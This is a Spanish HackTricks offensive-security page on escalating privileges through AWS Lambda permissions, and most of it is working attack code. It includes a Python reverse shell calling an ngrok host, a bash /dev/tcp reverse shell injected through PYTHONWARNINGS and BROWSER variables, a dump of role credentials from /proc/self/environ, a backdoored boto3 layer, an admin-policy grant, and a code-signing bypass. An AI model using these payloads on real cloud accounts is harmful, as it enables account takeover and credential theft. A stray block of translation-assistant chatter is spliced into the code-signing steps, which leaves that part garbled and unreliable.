AWS - Lambda Privesc

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

lambda

Más información sobre lambda en:

AWS - Lambda Enum

iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)

Los usuarios con los permisos iam:PassRole, lambda:CreateFunction y lambda:InvokeFunction pueden escalar sus privilegios.
Pueden crear una nueva función Lambda y asignarle un rol IAM existente, otorgando a la función los permisos asociados a ese rol. El usuario puede entonces escribir y subir código a esta función Lambda (por ejemplo, con un rev shell).
Una vez configurada la función, el usuario puede disparar su ejecución y las acciones deseadas invocando la función Lambda a través del AWS API. Este enfoque permite efectivamente al usuario realizar tareas de forma indirecta mediante la función Lambda, operando con el nivel de acceso concedido al rol IAM asociado.\

Un atacante podría abusar de esto para obtener un rev shell y robar el token:

import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>

También podrías abusar de los permisos del role de lambda desde la propia función lambda.\ Si el role de lambda tuviera suficientes permisos, podrías usarlo para concederte permisos de administrador:

import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response

También es posible leak the lambda’s role credentials sin necesidad de una conexión externa. Esto sería útil para Network isolated Lambdas usadas en tareas internas. Si hay security groups desconocidos filtrando tus reverse shells, este fragmento de código te permitirá leak directamente las credentials como la salida del lambda.

def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt

Impacto potencial: Privesc directo al rol de servicio lambda arbitrario especificado.

Caution

Ten en cuenta que, aunque pueda parecer interesante, lambda:InvokeAsync no permite por sí sola ejecutar aws lambda invoke-async, también necesitas lambda:InvokeFunction

iam:PassRole, lambda:CreateFunction, lambda:AddPermission

Como en el escenario anterior, puedes concederte a ti mismo el permiso lambda:InvokeFunction si tienes el permiso lambda:AddPermission

# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"

Impacto potencial: Direct privesc al rol de servicio de lambda arbitrario especificado.

iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping

Los usuarios con iam:PassRole, lambda:CreateFunction y lambda:CreateEventSourceMapping (y potencialmente dynamodb:PutItem y dynamodb:CreateTable) pueden, de forma indirecta, escalar privilegios incluso sin lambda:InvokeFunction.\
Pueden crear una función Lambda con código malicioso y asignarle un rol IAM existente.

En vez de invocar la Lambda directamente, el usuario configura o utiliza una tabla DynamoDB existente, vinculándola a la Lambda mediante un event source mapping. Esta configuración asegura que la función Lambda se dispare automáticamente al insertarse un nuevo ítem en la tabla, ya sea por acción del usuario u otro proceso, invocando así indirectamente la función Lambda y ejecutando el código con los permisos del rol IAM pasado.

aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip

Si DynamoDB ya está activo en el entorno AWS, el usuario solo necesita establecer el mapeo de origen de eventos para la función Lambda. Sin embargo, si DynamoDB no está en uso, el usuario debe crear una nueva tabla con streaming habilitado:

aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES

Ahora es posible conectar la función Lambda a la tabla DynamoDB al crear un event source mapping:

aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST

Con la función Lambda vinculada al DynamoDB stream, el atacante puede desencadenar indirectamente la Lambda activando el DynamoDB stream. Esto se puede lograr insertando un elemento en la tabla de DynamoDB:

aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}

Impacto potencial: Privesc directo al rol de servicio de lambda especificado.

lambda:AddPermission

Un atacante con este permiso puede concederse (o conceder a otros) cualquier permiso (esto genera políticas basadas en recursos para otorgar acceso al recurso):

# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>

# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout

Potential Impact: Privesc directo al rol de servicio de lambda al otorgar permiso para modificar el código y ejecutarlo.

lambda:AddLayerVersionPermission

Un atacante con este permiso puede concederse a sí mismo (o a otros) el permiso lambda:GetLayerVersion. Podría acceder a la layer y buscar vulnerabilidades o información sensible

# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

Impacto potencial: Acceso potencial a información sensible.

lambda:UpdateFunctionCode

Los usuarios que poseen el permiso lambda:UpdateFunctionCode tienen el potencial de modificar el código de una función Lambda existente que está vinculada a un IAM role.
El atacante puede modificar el código de la función Lambda para exfiltrate the IAM credentials.

Aunque el atacante podría no tener la capacidad directa para invocar la función, si la función Lambda es preexistente y está en funcionamiento, es probable que se active mediante flujos de trabajo o eventos existentes, facilitando así de forma indirecta la ejecución del código modificado.

# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip

# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt

# If not check if it's exposed in any URL or via an API gateway you could access

Impacto potencial: Privesc directo al rol de servicio de lambda usado.

lambda:UpdateFunctionConfiguration

RCE via env variables

Con estos permisos es posible añadir variables de entorno que harán que la Lambda ejecute código arbitrario. Por ejemplo en python es posible abusar de las variables de entorno PYTHONWARNING y BROWSER para que un proceso de python ejecute comandos arbitrarios:

aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"

Para otros lenguajes de scripting existen otras env variables que puedes usar. Para más información, consulta las subsecciones de lenguajes de scripting en:

macOS Process Abuse - HackTricks

RCE via Lambda Layers

Lambda Layers permite incluir code en tu función lamdba pero almacenarlo por separado, de modo que el code de la función pueda permanecer pequeño y varias funciones pueden compartir code.

Dentro de lambda puedes comprobar las rutas desde las que se carga el python code con una función como la siguiente:

import json
import sys

def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))

These are the places:

  1. /var/task
  2. /opt/python/lib/python3.7/site-packages
  3. /opt/python
  4. /var/runtime
  5. /var/lang/lib/python37.zip
  6. /var/lang/lib/python3.7
  7. /var/lang/lib/python3.7/lib-dynload
  8. /var/lang/lib/python3.7/site-packages
  9. /opt/python/lib/python3.7/site-packages
  10. /opt/python

Por ejemplo, la biblioteca boto3 se carga desde /var/runtime/boto3 (4ª posición).

Explotación

Es posible abusar del permiso lambda:UpdateFunctionConfiguration para añadir un nuevo layer a una función lambda. Para ejecutar código arbitrario, este layer debe contener alguna biblioteca que la lambda va a importar. Si puedes leer el código de la función lambda, podrías encontrar esto fácilmente; también ten en cuenta que podría ser posible que la lambda ya esté usando un layer y podrías descargar el layer y añadir tu código allí.

Por ejemplo, supongamos que la lambda está usando la biblioteca boto3; esto creará un layer local con la última versión de la biblioteca:

pip3 install -t ./lambda_layer boto3

Puedes abrir ./lambda_layer/boto3/__init__.py y añadir la backdoor en el código global (una función para exfiltrate credentials o obtener un reverse shell, por ejemplo).

Luego, comprime ese directorio ./lambda_layer y sube el nuevo lambda layer a tu propia cuenta (o a la de la víctima, pero puede que no tengas permisos para ello).
Ten en cuenta que necesitas crear una carpeta python y colocar las librerías allí para sobrescribir /opt/python/boto3. Además, la layer necesita ser compatible con la versión de python usada por la lambda y, si la subes a tu cuenta, debe estar en la misma región:

aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

Ahora, haga que el lambda layer subido sea accesible por cualquier cuenta:

aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *

Y adjunta el lambda layer a la victim lambda function:

aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells

El siguiente paso sería o bien invocar la función nosotros mismos si podemos o esperar hasta que se invoque por medios normales–lo cual es el método más seguro.

Una forma más sigilosa de explotar esta vulnerabilidad se puede encontrar en:

AWS - Lambda Layers Persistence

Impacto potencial: Privesc directo al role de servicio lambda usado.

iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl

Quizá con esos permisos puedas crear una función y ejecutarla llamando a la URL… pero pude encontrar una forma de probarlo, así que avísame si lo haces!

Lambda MitM

Algunas lambdas van a estar recibiendo información sensible de los usuarios en parámetros. Si obtienes RCE en una de ellas, puedes exfiltrate la info que otros usuarios le están enviando, revísalo en:

AWS - Lambda Steal Requests

Referencias

lambda:DeleteFunctionCodeSigningConfig or lambda:PutFunctionCodeSigningConfig + lambda:UpdateFunctionCode — Bypass Lambda Code Signing

Si una función Lambda exige code signing, un atacante que pueda eliminar la Code Signing Config (CSC) o degradarla a WARN puede desplegar unsigned code en la función. Esto evita las protecciones de integridad sin modificar el IAM role de la función ni sus triggers.

Permisos (uno de):

  • Path A: lambda:DeleteFunctionCodeSigningConfig, lambda:UpdateFunctionCode
  • Path B: lambda:CreateCodeSigningConfig, lambda:PutFunctionCodeSigningConfig, lambda:UpdateFunctionCode

Notas:

  • Para Path B, no necesitas un AWS Signer profile si la política de CSC está configurada como WARN (artefactos sin firmar permitidos).

Pasos (REGION=us-east-1, TARGET_FN=):

Prepara un payload pequeño:

cat > handler.py <<'PY'
import os, json
def lambda_handler(event, context):
return {"pwn": True, "env": list(os.environ)[:6]}
PY
zip backdoor.zip handler.py

Ruta A) Eliminar CSC y luego actualizar el código:

aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
if [ "$HAS_CSC" -eq 1 ]; then
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
fi
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION

Ruta B) Rebajar a Warn y actualizar el código (si eliminar no está permitido):

CSC_ARN=$(aws lambda create-code-signing-config \
--description ht-warn-csc \
--code-signing-policies UntrustedArtifactOnDeployment=WARN \
--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION

Confirmo. Para proceder necesito que pegues aquí el contenido de src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md.

Traduciré el texto relevante del inglés al español manteniendo exactamente la misma sintaxis Markdown/HTML y cumpliendo estas reglas:

  • No traducir código, nombres de técnicas de hacking, palabras comunes de hacking, nombres de plataformas cloud/SaaS (ej. Workspace, aws, gcp…), la palabra “leak”, pentesting, enlaces ni etiquetas/paths.
  • No traducir links, refs ni paths (p. ej. lamda-post-exploitation.md).
  • No traducir ni modificar tags como {#tabs}, {#tab name=“Method1”}, {#ref}…{#endref}, {#include …}, etc.
  • No añadir contenido extra fuera de la traducción y la sintaxis Markdown/HTML.

Envía el contenido y lo traduzco.

aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
cat /tmp/out.json

Impacto potencial: Capacidad para subir y ejecutar código arbitrario no firmado en una función que se suponía debía imponer despliegues firmados, lo que podría conducir a la ejecución de código con los permisos del rol de la función.

Limpieza:

aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks